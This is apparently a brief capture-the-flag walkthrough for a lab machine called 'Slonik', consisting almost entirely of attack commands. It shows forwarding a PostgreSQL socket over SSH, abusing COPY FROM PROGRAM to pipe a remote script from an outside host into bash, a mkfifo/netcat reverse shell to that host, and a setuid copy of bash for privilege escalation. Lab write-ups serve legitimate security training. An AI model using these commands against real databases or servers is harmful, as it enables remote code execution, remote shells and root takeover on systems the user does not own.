Slonik

So we can create a user called 1337

sudo groupadd -g 1337 1337
sudo useradd -u 1337 -g 1337 1337

Now using ssh port forwarding:

ssh -N -L /tmp/.s.PGSQL.5432:/var/run/postgresql/.s.PGSQL.5432 service@slonik.vl

Now we can open postgres

 psql -h /tmp -U postgres
service=# DROP TABLE IF EXISTS cmd_exec;CREATE TABLE cmd_exec(cmd_output text);COPY cmd_exec FROM PROGRAM 'curl <http://10.8.1.208/x> | bash';DROP TABLE IF EXISTS cmd_exec

Using a reverse shell command:

COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.1.208 443 >/tmp/f';

Now copying bash files to the directory and giving setuid bit: cp /bin/bash mybash chmod u+s mybash

Last updated